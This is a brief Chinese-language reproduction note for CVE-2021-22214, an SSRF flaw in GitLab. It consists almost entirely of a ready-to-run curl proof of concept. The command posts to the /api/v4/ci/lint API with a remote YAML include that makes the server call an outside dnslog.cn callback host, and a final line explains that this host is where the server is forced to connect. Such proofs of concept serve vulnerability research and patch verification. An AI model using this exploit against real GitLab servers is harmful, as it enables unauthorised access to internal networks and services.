CVE-2021-22214 Gitlab_SSRF

CVE-2021-22214 Gitlab_SSRF

漏洞复现：
目标地址：https://gitlab.xxx.xxx/users/sign_in
POC

curl -s --show-error -H 'Content-Type: application/json' https://gitlab.xxx.xxx/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://fbnwxn.dnslog.cn/api/v1/targets/?test.yml"}'

http://fbnwxn.dnslog.cn 是你要让机器访问的地址（SSRF）